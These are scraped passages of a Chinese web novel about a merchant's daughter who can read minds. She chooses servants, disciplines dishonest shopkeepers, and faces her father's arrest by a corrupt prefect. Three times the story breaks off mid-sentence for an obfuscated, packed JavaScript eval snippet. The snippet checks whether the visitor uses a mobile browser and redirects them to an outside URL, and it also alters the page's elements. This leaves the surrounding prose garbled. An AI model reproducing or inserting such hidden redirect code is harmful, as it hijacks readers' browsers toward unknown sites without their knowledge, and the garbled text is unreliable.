接收到眼神的刘嬷嬷：我冤枉！ 扑通—— 齐刷刷跪地拜谢，岑内琇不自在地摆手。 翌日，门厅。 “都给我警醒着点，这可是沈家，若是能被夫人小姐瞧上眼，是你们天大的福分！” 岑内琇和沈宝珍靠近时，听见牙人训诫奴仆。 “挑合眼缘的，用着不习惯还能换。”岑内琇温声道。 “嗯。” 奴仆分男女两列站着，母女俩缓步上阶，落座于搬出来的两张圈椅。 “见过沈夫人、沈小姐，这是牙行刚调教好的奴仆，还没被哪家挑选过。” 岑内琇朝他点头。“十岁以上、二十以下、力气大、手脚麻利的出来我瞧瞧。” 牙人点了三分之一的人。 “都会做些什么？”岑内琇又问。 “小的力气大、会种地。” “奴婢能挑水、会绣花。” …… “模样周正的留下。”岑内琇朝牙人道。 牙人察言观色后，报出十一个名，被他喊道的其中一个丫鬟，叫大丫。 沈宝珍好奇望过去，被岑内琇注意到。“怎么了？” “她也叫大丫？” “也？” “我院里有个洒扫丫鬟，也叫大丫。” “沈小姐许是不知，穷苦人家但凡生了女儿，都是大丫、二丫、三丫的叫。”牙人谄媚地笑着。 沈宝珍这才明白，原来有些女子，连个正经名字都没有。 见她对这个叫大丫的丫鬟有些上心，岑内琇道：“要不送到你院里去？她能挑水，当洒扫丫鬟正合适，还能和另一个大丫做伴。” “谢谢娘亲。” “一个丫鬟而已，不值当谢。” 【娘亲？儿时我也这般亲切唤娘亲，现在却连娘亲长什么样都快忘了。如果娘亲还活着，我怎会沦落至此，竟成了任人挑拣的奴婢。】 沈宝珍好奇地扫视站在下方的众人，没找出是谁。 “乖宝可有瞧得顺眼的？” 沈宝珍摇了摇头，又点了点头。 “这是什么意思？”岑内琇觉得好笑。 “她们…娘亲…要不都留下吧？”沈宝珍吞吞吐吐道。 牙人见得多，知晓这是娇小姐犯了心软的毛病，沈夫人顺口应下是好，省得他各家跑，但事后若是不快，那吃挂落的就是自个了。 有时候，需要他们这些个外人，当恶人。 “沈小姐果真是菩萨心肠，见不得旁人吃点苦。她们都是家里揭不开锅，才卖身为奴为婢的，待沈家选过一轮，还有很多家等着挑，绝不会没地方去。” 【尤其是长得好的，去处就更多了，就像头戴木簪的那位，模样身段都很符合花楼的要求，少说能卖二十两，足够买五个年轻力壮的丫鬟小厮了。】 头戴发簪？ 沈宝珍定睛一看，瞳孔微微震颤。 她闭了闭眼，又睁开望去，有种似曾相识的感觉。 【该死的牙人，又用这种龌龊的眼神看着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749879|174288||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我，若是有机会，定要用头顶发簪刺穿他喉咙！】 【还有一道视线，像是正前方投射而来，莫非……】 偷偷抬眸的崔芙，正好与沈宝珍对视上。 四目相对，神色各异。 【沈小姐？在自己家还遮面？金陵规矩这般大？】 金陵？ 沈宝珍几乎可以确定，眼前女子来自何方。 结合梦境和她的心声，此人应是京城贵女圈中佼佼者，兵部崔侍郎嫡长女，崔芙。 居然被发卖至此？ 这到底是怎么回事？ “外面还候着一批奴仆，沈夫人沈小姐可要一并瞧瞧？” “将她留下。”沈宝珍抬手指向崔芙。 【她指的是我？这位沈小姐看着挺好相与，给她当丫鬟，应该不会被磋磨，罢了，就算被磋磨，我也要活着回到京城，回到崔家，拿回属于我和娘亲的一切！】 沈宝珍：！！！果然是她！ 沈宝珍愣神的功夫，又一批奴仆被叫进来。 这一批看着就磕碜多了，高矮胖瘦、男女老少应有尽有。 “虽说貌不惊人，有的还吓人，但好几个力气大，还有个会拳脚功夫，是看家护院的好手，我们牙行好几人都制不住他一个。”牙人说完，惊觉失言。 手无缚鸡之力的妇道人家和弱女子，谁会要不受控制的护卫？ 岑内琇蹙着眉，露出嫌恶的表情，恨不得立刻就将牙人连带仆从都赶出沈家。 沈宝珍却从一众心声中，辨出武力值惊人的男子。 【什么吓人？老子脸上的刀疤是杀鞑子不小心挨了一下！还好意思说，打不过就下药，老子现在都没缓过劲来，有本事真刀真枪干一架！】 【早知道当初就把那欺辱百姓的恶霸仆从也了结，就不会被他爹闹到营中，害得将军为了放我一条生路，担了凶名。】 【好男儿就应该战死沙场，隐姓埋名苟且偷生，被人卖了还帮着数钱，将军骂的没错，空有蛮力不动脑，迟早被自己蠢死。】 【落到这步田地，是我活该，爹娘妻儿泉下有知，许是都要因我蒙羞了。】 就在牙人要带走一应仆从时，沈宝珍再次开口。 让他将刚提到的，有拳脚功夫的那位留下。 牙人错愕地走到张武身侧。“沈小姐指的是他？” 张武随即出列，左脸至下巴的刀疤，引得众女眷倒抽了一口凉气。 “乖宝，这个不行，太吓人。”岑内琇握住沈宝珍手道。 “是啊小姐，他、他不服管教，徐力都不知道能不能打过他。”沉夏劝。 “沈小姐三思。”牙人恨不得扇自己两耳刮子，这人要是真留下来，闯出什么祸来，他的好日子怕是到头了。 金陵谁人不知谁人不晓，沈家夫妇视其女如命。 这个莽汉可不像个安分的，牙人甚至觉得他背着人命案。 有时候被他盯着，浑身血液都像凝固般，光是想想，就止不住打怵。 “你可愿留下，当我的护卫？”沈宝珍回手拍了拍岑内琇以示安抚，直接问向本人。 牙人紧张地咽了咽口水。 待回去，自己得将这个人赶紧发卖出去，太危险了。 顺着声音来处望去，张武看到个自己一只手就能碾死的姑娘。 小小一只，确实需要护卫，不然遇到恶霸，指定跑不脱。 唉。 他没有出声，只点头回应。 “乖宝，你……” “娘亲信我。”沈宝珍眉眼弯弯，宛若新月。 “行吧。” 15. 第 15 章 最后，岑内琇又从新奴仆中，挑了个看起来机灵的。 让他盯着些刀疤脸，但凡有什么风吹草动，及时来报。 被当家夫人赋予重任的小厮领命，跟着沈宝珍一行人，来到芳菲院。 “小姐院里要添人？”知春纳闷，不是去帮夫人挑前院粗使丫鬟、小厮的吗？ “嗯，添四个。”沈宝珍揉了揉额角。 谁能想到，沉默寡言的张武，一路上心声没完没了，不是夸沈家院子大，就是谴责太过奢靡，还想着折现送到营中让全军上下吃顿肉。 好在另外几个安静得多，不然她脑子都要炸了。 “小姐，大丫来了。”沉夏脆声。 新来的大丫，和另一个大丫，你看看我，我看看你。 “都叫大丫，怎么区分？”知春看向两小丫鬟。 “换个名字？”沈宝珍喃喃。 明明很小声，却被洒扫的大丫听见了，喜上眉梢，咚的一声跪谢，另一个紧随其后。“谢小姐赐名。” 知春等人的脸色却不太好看，因为她们都没被小姐赐名。 这还是小姐第一次给下人赐名。 沈宝珍有些犯难，目光落在她们身后冒出的一节竹枝，想到岁寒三友，顿时有了主意。 “惜竹，宛梅。” “求小姐赐名！”机灵的小厮主动开口，还扯了扯张武的裤腿。 张武往外走了一步，与他拉开距离。 【这人什么毛病？自己想换名字就换呗，带上我做什么？老子行不更名坐不改姓，张武是也！】 【这可是我娘花了两颗鸡蛋，找算命先生取的，没想到还真入了行伍，摸爬滚打练就一身武艺。】 “青松。” “谢小姐赐名！”两丫鬟一小厮美滋滋，显得刚来的崔芙和张武格格不入。 “你们俩可有名字？”不用她取了吧？ 崔芙欠身：“小姐，奴婢名芙蕖。” 张武拱手：“老…小的，叫莫声。” 沈宝珍：？？？也行。 芳菲院添了新人，不管是丫鬟还是随从，都感受到了无形的竞争，抢着表现不说，一个个还劲劲的。 在沈宝珍看得到的地方，一片祥和，离了她，就有纷争。 她们还以为自己藏得很好，作为话题中心，沈宝珍被吵得只有一个念头：都是闲的。 于是，徐力等一干随从，以及张武青松两人，被安排出门去寻犯了事被赶走的掌柜们。 让他们连本带利归还，耍手段牟取的不义之财，只是挽回了沈家的损失。 那被他们蒙骗坑害的客人，就不应该得到补偿吗？ 先说，裕民典当行。 如果不是走投无路，没人会将家中物件拿出来典当，更别说很多人典当的是冬衣，原本咬咬牙熬过一道坎，就能重拾旧物，可因为掌柜起了贪念，变成死当，彻底失去。 再论，丰稷杂粮铺。 五谷杂粮，果腹之物，缺斤少两，实属不该。 沈宝珍看过账册，大部分客人都是平头百姓，一次买的量只够吃十天半月，但他们往往会隔上一月之久再来回购。 对于这个疑问，她问过铺里的伙计。 只够吃半个月的粮食，为什么能吃上一个月？是因为家中有余粮？ 伙计说，并非有余粮，是因为，他们在勒紧裤腰带省着吃。 沈宝珍当时愣了许久。 她想，如果没有缺斤少两，或许有那么一两顿，他们是可以吃饱的。 她还想，如果同样的粮食，少收些铜板，会不会让他们日子好过些。 爹爹的回答是，不能，因为粮价不得随意变动。 所以，最终的决定是，丰稷杂粮铺，同样的价格，可以买到足量冒尖的粮食。 除此之外，便是迟到的赔偿了。 之所以这般行事，归根到底，还是怕这笔烂账最终会算到沈家，也就是她们一家三口头上。 强取巧图，难免幽冥之谴；枉取人财，终填孽债。 民怨，只待一个导火索，便会彻底引爆。 她，不敢赌。 * 广陵城中，客栈。 “你在金陵都是裕民典当行的掌柜，怎么到了广陵，连做管事都没人要？”拖家带口来到此地，处处碰壁，生活条件急转直下，妇人烦躁不安。 “我上哪知道去？我一说之前是裕民典当行的掌柜，他们就问我为什么不做了？是不是犯了什么事？我能怎么说？”昔日的王掌柜，此刻情绪有些失控。 “你就不会随便找个理由应付过去？就说来这边谋生，很难？” “很难。他们说会派人去金陵打听，还让我谨言慎行，别得罪了不该得罪的人。”王掌柜垂着头，眼神空洞。 这番话是以前他经常对那些歇斯里底的客人说的，现在报应到自己身上了。 “广陵离金陵是近，但也不可能说去就会去。况且沈家只是在金陵有些名气，不可能连广陵的典当行都要看他的脸色，你到底在怕什么？再找不到差事，我们一家子就要被赶出客栈了！” “闭嘴，别说了！要不是为了你们，我何至于冒险？” “为了我们？说得冠冕堂皇，你冒险得来的银子，都被你拿去喝花酒了，赔给沈家的银子，还是卖掉全家人住的屋子换来的！”妇人冷笑。 王掌柜哑口无言，抱着头一言不发。 他何尝不后悔，但，已经没有回头路了。 来了广陵才知道，沈家的典当行，根本就不止金陵一家。 在金陵，沈家除了明面上的四海酒楼、岑记布行，就没有其它铺子了。 可暗地里，还有裕民典当行、丰稷杂粮铺、数酒坊…… 他以为，就这些。 现在才知道，何止这些。 若是别处，也如金陵、广陵，他还能跑去哪？ 无处可去，无路可走了。 就在王掌柜一家要被扫地出门的当天，了解前因后果的张武，领着青松，策马来到此处。 不得不说，进了沈家，真是舒坦。 有吃有喝，还不用发愁没银子花。 明明此前未曾谋面，他长得吓人，风评也差，可小姐每每见到他，都不会露出嫌恶之情，还能让他感受到敬佩之意，最重要的是，信任。 可以直接派他出远门，揣上数百两银票的那种信任。 当然，唯一让他不爽的是，青松这个毛都没长齐，还不会骑马，勉强会驾马车的小厮，得到的“信任”一样重。 小姐还是太年轻了，不知人心险恶。 万一这小子揣着银子跑了，她许是得哭鼻子。 罢了，这一路，他定会将人看牢，绝不会让他有机会遁走。 同样的，青松对他也有设防。 两人互相防备，相处还算和谐，也没遇到拦路抢劫的匪徒。 “掌柜行行好，再容我们一日，明日，明日定能交付房钱，绝不拖欠！” “已经拖欠三日，你们再不走，卷铺盖走的就是我了。”掌柜朝伙计打了个手势，连人带行李送到了大街上。 人来人往，一家老的老小的小，成了焦点。 “都怪你，非要来广陵，早知道，还不如留在金陵！” “留在那风吹日晒、丢人现眼？” “要不是你胡作非为，我们一家至少有个遮风挡雨的地方，现在好了，只能露宿街头了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749880|174288||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “闭嘴！” “你除了叫我闭嘴，还会说什么？” “……” 张武和青松出现时。 王掌柜落魄的样子，格外引人注目。 要不是他的妻儿老小健全，差点对不上号了。 “原，金陵裕民典当行掌柜，王来富？” 仰头看到高头大马上的刀疤脸，王来富下意识拔腿跑。 “一家老小不要了？”马车驾位坐着的青松，嗤笑道。 “我、我……” “一人做事一人当，连累她们吃苦不说，还想抛家弃子？这可不是大丈夫所为。” “是、是我，我是王来富，原金陵裕民典当行掌柜，不知二位好汉，有何贵干？”王来富身子僵直，故作镇定。 “讨债。”张武沉声道。 王来富吓得一屁股坐在地上，妇人壮着胆子挡在他身前，颤着音道：“我夫君可是哪里得罪了二位，还请莫要伤他性命，有什么话好好说。” “娶妻娶贤，你还真是走了狗屎运！明明是背主的叛徒，不仅没被赶尽杀绝，还能被复用，啧。”张武颇有感慨。 “复、复用？东家派你们来寻我？”王来富由悲转喜，就着妇人的搀扶站了起来。 “是也不是，小姐仁善，给你个将功折罪的机会，若是做得好，兴许能被沈家复用。”青松接话。 “小姐要我做什么？我什么都能做！”王来富拍着胸膛表忠心。 “边走边说，时间不等人。”张武轻扬马鞭。 “上马车，回金陵，劳烦王掌柜与我一道坐外面了。”青松皮笑肉不笑道。 “应该的，应该的。” 返程路上，张武打马在前优哉游哉，青松嗓子都要冒烟了。 明令王来富，挨家挨户赔礼道歉，坦言是为了一己私利，奉东家之意求原谅…… 施恩其家眷，表露屋舍已被赎回暂予居住，今后如何，便要看王来富的表现…… 随从们，时间紧，任务重。 丫鬟这边，同样脚不沾地。 知春、沉夏、抚秋、流冬，是岑内琇为沈宝珍精心挑选的丫鬟，她们几乎一块长大。 沈宝珍待她们是不同的，相较贴身丫鬟，更多时候视作玩伴。 每每出门都会带上，不用日日拘在家中，让她们可以跟着到处溜达。 那梦之后，沈宝珍一直在想，要如何安置她们。 先前总是想不明白，惜竹、宛梅、崔芙来了后，突然就有招了。 如果说，原先，沈宝珍是在放养四人，那现在开始，便是有目的地培养了。 身有一技之长，胜过万贯家财。 沈宝珍冥冥中有种预感，沈家的财，守不住。 她是无论如何，都要同爹爹娘亲共进退的。 但其他人，应该有别的选择。 既如此，让知春等人拥有谋生手段，就很有必要了。 万一，日后真是那个下场。 早早把她们放走，即便又沦落到为奴为婢，有点本事，也能觅得好点的主家。 所以，识字又兼管芳菲院账的知春，现下，几乎常驻裕民典当行，因为，此处做账的本事尚可。 而沉夏，有点花拳绣腿的底子，由徐力和张武教习，目标是一个打俩。 至于抚秋，她喜刺绣女红，“皇商”谢氏的源兴绸缎庄，是个进修的好地方。 最后是流冬，本就懂些药理，当然是拜惠民医馆秦大夫为师了。 起初秦大夫是拒绝的，因为他的原则是不收女徒弟。 架不住沈宝珍表示，不收女徒弟，就把防疫汤药费断了。 秦大夫当场改口，凡事总有例外。 …… 16. 第 16 章 自打四个大丫鬟神龙见首不见尾，惜竹、宛梅、崔芙见天晃悠到跟前。 沈宝珍大手一挥，一人一锭银子，给放假，出去逛，别来吵。 还没适应岗位的崔芙：？？？给得太多了点吧，顶她当主子时的月例了。 惜竹惊喜过后，直奔宸幼局，看望妹妹去了。 宛梅是从别处兜兜转转来到金陵的，人生地不熟，便跟着惜竹一块儿。 是以，从惜竹口中，听到了宸幼局与沈宝珍不得不说的二三事。 崔芙则是去到车马行、码头、镖局等，打听顺利北上京城的法子。 好巧不巧，三人几乎前后脚回来。 “小姐，宸幼局收容的人，多了两倍不止，都快要住不下了。”惜竹有些气愤。 “怎么这么多？故意弃置的孩子不都被接回去了吗？”沈宝珍纳闷。 “官署不要脸，得知宸幼局吃穿不愁，连宸济院的孤寡老人、残疾人和贫民都往这里塞。” 宛梅对惜竹有种天然的亲近，完全就是应声虫：“就是就是。” 踏入院子，听了一耳朵的崔芙。 【以其人之道，还治其人之身！官署不就是仗着宸幼局有人大包大揽吗？那干脆撒手不管了，至于那群孩子和孤寡老人，到官署闹去呗，本来就是他们不管事……】 【官署什么都不做，还想名利双收，天底下哪有这种好事？若是还想接济，也不能用这种吃力不讨好的法子，不如以沈家名义施粥……】 沈宝珍眼前一亮。 “这事，芙蕖你看着办，惜竹宛梅听她安排，需要什么找知春。”她不管了，要猫冬。 立着懵懂人设的崔芙：？？？是不是太草率了？ 真懵懂的惜竹和宛梅：？？？小姐就不怕我们乱来？ 冬至。 团团如日月，盈亏有定时。 沈宝珍默念完，小口食汤圆，尝到了红豆馅。 “好吃，就是这个味。” “我和你爹爹下厨做的，一早就忙活开了。”岑内琇笑着说。 “我就说乖宝指定想吃这一口。”沈福达一脸自得。 “以后每年冬至，我都要吃爹爹娘亲做的汤圆。”沈宝珍许愿。 “好。” “记着啦。” 吃饱喝足，沈宝珍回了自己院子，随口关心起众丫鬟学习进展。 “账房先生夸奴婢有点长进了。”知春像是不好意思般，垂着脑袋。 【裕民典当行的账我都看腻了，还得再待多久，小姐才会放心呢？】 沈宝珍：嗯？ “徐力和莫声师傅教得很用心，奴婢有在好好练。”沉夏作势拱了拱手，露齿笑。 【小姐还不知道，徐力三年前就被我打趴过，当不了我师傅。莫声虽然长得丑，但挺厉害，教得都是杀人的招，等把他的本事学到手，就能更好的保护小姐了。】 沈宝珍：等等！ “奴婢在源兴绸缎庄，学着做了不少绣活。”抚秋献宝式奉上杭罗薄纱配抢针绣法的手炉套，一面是色调柔雅的海棠春睡景，一面是寒露暖酒短句，绣以松竹边饰。 【那里的刺绣技艺，比夫人重金聘请的女红师傅差点，绣样倒是多，但我觉得我给小姐绣得更好看。】 沈宝珍：什么意思？ “秦大夫医术精湛，每天接触各种各样症状的病人，奴婢受益匪浅。” 【就有一点不好，明明医毒不分家，秦大夫说什么都不肯教识毒解毒，只能先靠自己摸索了。】 沈宝珍：！！！ “小姐？”她们。 “没事，我要一个人静静。” 四大丫鬟深藏不露，不逼一把到现在她都还蒙在鼓里。 沈宝珍看着她们，想想自己，感到淡淡的忧伤。 另一边，小别的夫妻俩，又开启了夜话。 “广陵、姑苏各处道观寺庙我都跑了一遍。”沈福达从这阵子的行囊中取出一本簿子。 “怎么说的？”岑内琇收敛心神，郑重道。 自确定一定以及肯定沈宝珍能读心后，夫妻俩几乎也信了那个噩梦有上苍示警的意味。 有所准备的同时，又忧心这种神异之处，会对闺女命数有碍，少不得到庙里、观中寻份安心。 “佛家谓之他心通，感知他人心念的能力…培养慈悲同理…” “说是禅定深厚者，可能因心识清明而感知潜在因果，警示而非定数，一切有为法，如梦幻泡影，勤修慈悲化解潜在恶缘…” 沈福达照着自己记录的内容回应，岑内琇静静听着。 “道家说是读心能力源于元神通透，也有一秘传心境术，强行施术会损耗自身阴德…” 岑内琇眉心一拧。“这要怎么办？” “乖宝使得应该不是心境术。那次噩梦更可能是魂游，魂魄离体时与天地气机交感，捕捉未来片段…道观里的真人提醒，莫把梦兆当圭臬，守正修德是真途，强调人力可改运…” “听着像是在劝我们积德行善。”岑内琇总结道。 “是啊。”沈福达将簿子递给她。“阅后即焚。” “嗯。” 翌日。 榫卯堂管事来报，木工对中费不满，不少嚷嚷着要离开。 沈福达大怒：“不知好歹！木材随用、活计管接，白白分润两成，还不知足？” “他们说……”管事觑了一眼沈福达，欲言又止。 “说！” “他们说起早贪黑做的木工活，凭什么东家坐着躺着能独得八成？” 管家说完，就等着沈福达下令，让他能名正言顺，把那些不听话的木工扫地出门。 掌柜没了，他这个管事，就是木工头顶的天，一个两个不敬自己，还想留在榫卯堂，做梦去吧！ 管事越想越觉得解气。 “呵！当初就不该可怜他们有手艺也混不着口饭吃，费力建了这榫卯堂。蛇吞象，奴欺主，我倒要看看，他们究竟想要做什么？！” 管事傻眼了。 东家不是从不到榫卯堂露面，还不准掌柜外传他真实的身份吗？ 就连自己，也是掌柜突然被废后，临时提拔起来稳住局面，才得知一二。 这怎么和预想中不一样啊？ “榫卯堂到处都是木料和飞屑，东家此去……” “啰嗦！”沈福达睨了他一眼。 脸上挂相，搬弄是非的功夫都没修到家，还出来卖弄。 勤修慈悲，化解潜在恶缘… 若非沈福达念着这句，已经发落此人了。 半个时辰后，榫卯堂。 “把手里的活都停停，东家咳来咳咳了！”管事敲打着一面锣，扯着嗓子喊，木屑纷飞，呛咳不止。 “东家当心些。” 沈福达与其拉开距离，颔首。 他许久未曾踏足于此，看着倒和原先没太大变化。 “东家？！”木工们狐疑。 “听管事说，你们当中不少人苦中费久矣，想要另谋高就？”沈福达懒得废话，直接表明来意，他可没太多闲工夫与这帮人扯皮。 木工们面面相觑、默不作声。 “怎么哑巴了？是管事诬蔑，还是确有其事，都不敢说吗？” “东家。”终于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749881|174288||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有一人站了出来。 “说。”沈福达道。 “东家可还记得最初与我等商定的是二八分润？”若非如此，他们也不会离开鲁班堂。 “记得。” “那为何堪堪过了数年，就成一九了？难道我们……” “等等，什么一九？”沈福达眼神微眯，管事惊出一身冷汗，他…他…不对啊，这是前任掌柜干的，不关自己的事。 “那是先前掌柜自作主张。”沈福达收回视线，淡淡解释道。 真不经吓，就这胆量，还敢诓他。 “那为何仍在沿用？”年长的木工又问。 “若非我发现那掌柜阳奉阴违，一九分尔等不还是继续受着？先前能忍，怎么现在就不行了？” 当初定二八是为了以利诱之，他早就后悔了好吗？ 先前掌柜蠢就蠢在揣摩了他的心思后，把多出的那一成揣自己腰包，这谁能容下他？ 此言一出，群情激愤，木工们再也憋不住了，脾气火爆的当场丢掉家伙什，倒是没有放话不干了，因为，上有老下有小，没法率性而为。 沈福达没什么感觉，反正弄坏了照原价赔偿，算下来他还是赚的。 “我们自己接的活，为何也得上交九成中费？”老木工心情复杂难言。 “这不是理所应…你们自己接的活？”沈福达死亡凝视管事。 好啊，看走眼了，原以为是狗仗人势，没想到，竟在借刀杀人。 借他这位东家“刀”，杀木工们放血，供养自己，呵呵。 都说他是糖稀雁，粘毛就掉，他手底下更是人才辈出呢，饿鬼相，腹大喉细、见食成火、贪吝难舍。 想到饿鬼相，沈福达脑子里突然浮现，自己为了不引起他人注意，将各种怪力乱神的事问了个遍，祥云观中老道提及的承负之债。 祖辈过度敛财导致的家族承负，常显化为子孙印堂发黑如饿鬼…… “东家我错了，我鬼迷心窍，我罪该万死，我这就连本带利归还，别赶我走，我绝不会再犯！”管事连声求饶。 沈福达的注意点却偏移了。“你祖辈敛财……” “小的祖上敛财之巨堪称富甲一方，到我父那代突然家道中落了，小的是苦怕了，才没忍住。”管事一把鼻涕一把泪哭诉，试图让沈福达动恻隐之心。 沈福达确实动了恻隐之心，但不是对他，而是眼神空洞无动于衷的木工们。 他害怕自己一时贪念，让闺女和后辈承负遭罪。 小心使得万年船，就当，破财消灾好了。 “别哭了，管事这个位置你是万万不可能做了，现在，立刻，马上，消失在我的面前，否则……” 管事如蒙大赦，连滚带爬离开榫卯堂。 沈福达嫌弃地瞥了他一眼，转而看向麻木的木工们。 “至于你们，既然当初定了二八分润，那我自然不会食言，此后还是这个数。 但掌柜昧下那些，就别想了，谁让你们有苦不诉，还要我来劳心费神。 还有，你们自己有能耐接的活，凭的是榫卯堂的招牌，用的是榫卯堂的木料，使得的榫卯堂的工具，交个两成不过分吧？” 本想说八成，到嘴巴不知怎么就成两成了，话已经说出口，沈福达只能保持微笑。 脑海中的小人，已经蹲墙角捂着心口暴风哭泣了。 二八分，他们二，自己八。 八二分，自己二，他们八。 这辈子的德算是积完了，善也行完了。 再也没有下次！ 沈福达头也不回大步离开，身后榫卯堂欢腾如潮，笑浪掀天。 17. 第 17 章 另一边心有触动的岑内琇，也开始了她的积德行善之法。 从沈福达口中得知，架桥铺路建凉亭挖陂塘事宜已步入正轨，作为应下这份差的当事人之一，没出大力，只能搞搞后勤了。 络丝、理线、织造、修补、纺纱……被选中村落老幼妇孺，但凡参与其中一项三日，既可赊粗布一匹，制成衣后，岑记布行以市价八成收回，想自留者，可半价购得。 冬至后三戌，腊祭百神，苏河停工，役民归家。 “开始架桥铺路建凉亭挖陂塘了就是不一样，沿途车马行人都变多了。” “欸？刚刚过去那骡车上，好像有我家里的。” “我娘好像也在，她不是不爱出门吗？” “累死累活才挣几个钱，她们倒是享受起来了。” “关你什么事，又没花你的钱。” “就是就是。” …… 紧赶慢赶，还是没追上。 到家问起，才知骡车是往返岑记布行专用。 小妹、媳妇、老娘靠出力赊布制衣换购，攒了小半两银子了。 “真的？” “骗你做甚？喏，还给你留了一身粗布衣，只花了一半的钱。” “我用不着，转手卖出去吧，能挣不少。” “全家人都有，你不要？” “嘿嘿，那我穿上试试。” “水烧好了，先洗洗。” “哎！” …… 金陵，长青裳坊，年末盘点。 “役民日日劳作，粗衣必有破损，寒冬已至，按理来说，发了工钱少不了添衣才是，怎得盈收不增反降？” “东家，都是那个岑记布行搞的鬼，也不知道是怎么说动的那些山野村妇，傻乎乎出力三天，就为了赊一匹粗布，亲手制成衣后还掏一半的钱买下，一个个还觉得自己赚大了，简直蠢得不能再蠢。”掌柜咬牙切齿道。 “照你这么说，岑记布行将一匹粗布，卖出了成衣价，还得了三天劳力，省了制衣工钱，最后落得个好名声？” “是这样的，没错。”掌柜频频点头，岑记布行耍手段，抢了他们长青裳坊的生意，还没地儿说理去。 因为，岑记布行明面上根本没卖成衣。 好气！ “岂有其理，岑氏这次太过分了，是可忍，孰不可忍！” “东家可是想到反击的法子？或者我们也这样做，总不能眼睁睁看着银子都流向岑记布行吧，真不知道为何如此不要脸，说是捐了三十万修河固堤，实际上，一直在想法设法把这钱往回捞……” “嗯？”根本没想到主意的东家，听着掌柜喋喋不休的吐槽，有了章程。 岑记布行，岑氏，背后站着就是沈家，沈家数月前显摆作秀，在巡抚大人面前露了脸，之后联合四大家族，又搞什么架桥铺路建凉亭挖陂塘，真当自己是仁商义贾了。 沈家夫妻俩什么德行，金陵谁人不知谁人不晓？ 吃人不吐骨头的主，行事作风与戏文中，宴请官员富商，掷金施乞丐，宴后派人抢回无异。 听闻沈家女掺和了宸幼局的烂摊子，被当成冤大头后，拍屁股走人，真以为有巡抚大人庇护，就能无法无天了？ 在金陵，害得官署声誉一落千丈，衙门都快乱了套，怕是知府大人灭了沈家的心都有。 风光那么久，是时候找故人叙叙旧。 君子报仇，时机刚好。 * 江宁知府衙门。 “大人，据查，沈家却有逼迫役民、欺压佃户之实，此外，数酒坊、丰稷杂粮铺、裕民典当行…皆为其名下铺子，存在以次充好、缺斤少两等问题，人证物证确凿！” “在本官眼皮子底下，竟敢如此作恶，速速将首犯沈福达押入大牢，听候发落！”姚知府露出玩味的笑。 老狐狸深藏不露呐，没个三十万两，就别想出去了。 “是，大人英明！” …… 沈家。 “夫人小姐不好了，老爷被江宁知府衙门抓走了！”管家慌慌张张跑进朝晖居。 “怎么回事？”岑内琇还算镇定。 江宁知府看似刚正不阿，实则是个见钱眼开的主，只要使得银子够多，没什么摆不平的事。 上回和周巡抚扯上干系，那厮私底下遣亲信来，要了三万两。 美其名曰，区区一成。 虽知是肉包子打狗有去无回，但也没料到，这狗居然只消停了数月。 啧。 “说、说是沈家欺辱役民、压迫佃户、以次充好……”管家试图斟酌措辞，还是全盘托出，一时间实在是想不到其它的说法了。 “绝无此事！”岑内琇矢口否认，看向沈宝珍。“你爹爹冤枉。” 【什么欺辱役民？那是他们分内之事，更是自愿为之！ 压迫佃户就更可笑了，有心查又不用心查，仗势欺人的管事都被扫地出门了！ 以次充好？应是数酒坊搀水搀杂酒东窗事发了，好在先一步发现。 不过，这一闹，沈家暗处的部分产业，怕是再也藏不住了。】 沈宝珍快步往外走。“娘亲，我知晓内情，这就前往官署同知府大人道明原委。” “乖宝别去，娘亲已有应对之法，知府大人明察秋毫，你爹爹定不会有事。”岑内琇制止道。 【真要收拾沈家，她们一家子都会被逮进大牢，而今这一出，无非找个由头要银子而已，十万两，应是足够了。】 沈宝珍顿住脚步，望着思索中的岑内琇。 江宁知府竟是这种嘴脸？ 难怪梦中金陵四大家族垮台，这位姚知府一并被清算了，原以为是失察之罪…… “乖宝，乖宝？” “娘亲说的我都听着了。”沈宝珍意有所指。 “那行，你在家待着，娘亲去将你爹爹接回来。” “好。” 自岑内琇出门，沈宝珍就候在厅堂，时不时伸长脖子往外瞧了一眼。 “小姐别担心，老爷夫人肯定在回来路上了。” “真的？”沈宝珍看向知春。 知春毫不迟疑点头，沈宝珍看着不由安心了些。 【老爷被官署为难，莫不是因为宸幼局和宸济院？尸位素餐、以权谋私、手段卑劣，江宁知府这个位置是怎么坐稳的？】 【背靠巡抚？不太可能。据说驻苏州的周巡抚，今秋刚上任，是个一心为民的好官。】 【两江总督？确有可能。总督府设在金陵，总督之女还是景王妃，多么强……等等，两江总督和景王，那太子不就……怪不得此地的宸幼局和宸济院如同虚设……还有江南学子，好大一盘棋！】 崔芙依旧装作副懵懂的模样，心 